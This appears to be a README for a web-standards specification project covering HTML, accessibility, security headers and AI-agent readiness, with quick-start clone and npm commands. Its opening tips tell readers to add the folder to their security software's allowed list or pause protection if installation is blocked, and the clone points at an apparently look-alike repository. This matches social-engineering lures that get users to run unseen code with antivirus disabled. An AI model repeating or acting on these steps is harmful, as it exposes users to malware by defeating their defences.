The Website Specification

Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.

---

QUICK START

git clone https://github.com/CeilingSector/specification.website-863.git
cd specification.website-863
npm install
npm start

The website specification — from <title> to /.well-known/security.txt, from WCAG contrast to llms.txt. Platform-agnostic, sourced on every page, written for humans and agents. MIT licensed, open for pull requests.

Live site: https://specification.website MCP server: https://mcp.specification.website/mcp

What this is

The web is a layer cake of standards: WHATWG defines HTML, W3C ratifies WCAG, the IETF publishes the RFCs behind security headers and /.well-known/ URIs, IANA registers the namespaces, search engines publish their own rules, browsers add quirks. Almost nobody carries the whole picture.

This site collects the slices into one platform-agnostic specification — sources cited on every page.

It is not a framework. It is not a tutorial. It is a spec, in the same way the HTML Living Standard is a spec: outcomes, requirements, references.

What this is not

• Not platform-specific. No "use this Next.js plugin" advice — the spec describes the outcome, you choose the implementation.
• Not opinion. Where there is no settled standard, the spec says so.
• Not a marketing site. No newsletter capture. No cookies. Aggregate Plausible analytics; that's it.

Categories

• Foundations — HTML, head, document basics.
• SEO — search visibility.
• Accessibility — WCAG-aligned rules.
• Security — headers, transport, policies.
• Well-Known URIs — agreed paths under /.well-known/.
• Agent Readiness — making a site legible to AI agents.
• Performance — Core Web Vitals, caching, fonts.
• Privacy — consent, signals, respecting choice.
• Resilience — graceful failure.
• Internationalisation — language, locale, direction.

Development

Requirements: Node.js 22.12+, npm.

The dev server runs on port 31337 by convention (because of course it does).

Adding or changing a spec page

The build will fail if the schema is invalid — that is intentional.

Everything derived from the spec content updates automatically: /spec/, /checklist/, /llms.txt, /llms-full.txt, /sitemap-index.xml, /rss.xml, per-page .md endpoints, the Pagefind search index, and the MCP server's bundled data. Never hand-edit those; edit the source markdown.

Status levels

• Required — the web platform contract breaks without it.
• Recommended — modern sites should do it.
• Optional — depends on context.
• Avoid — outdated, harmful, or actively superseded.

Sources

Every page cites at least one source. The site draws on:

• WHATWG HTML Living Standard
• MDN Web Docs
• WCAG 2.2 and the Understanding documents
• IETF RFCs for protocol-level items
• sitemaps.org, schema.org, llmstxt.org
• Google Search Central, web.dev
• Yoast Developer Portal
• Equalize Digital Accessibility Checker docs
• WP Accessibility Knowledge Base
• Is It Agent Ready?
• Overlay Fact Sheet

MCP server

A separate Cloudflare Worker in mcp/ exposes the spec to MCP-aware agents. See mcp/README.md for tools, the connection config, and how to deploy.

Licence

Content is licensed under CC BY 4.0. Code is licensed under MIT. Use it, fork it, ship it.

Contributing

See CONTRIBUTING.md. Three rules: cite your sources, stay platform-agnostic, be honest about status.

Security

See SECURITY.md or /.well-known/security.txt.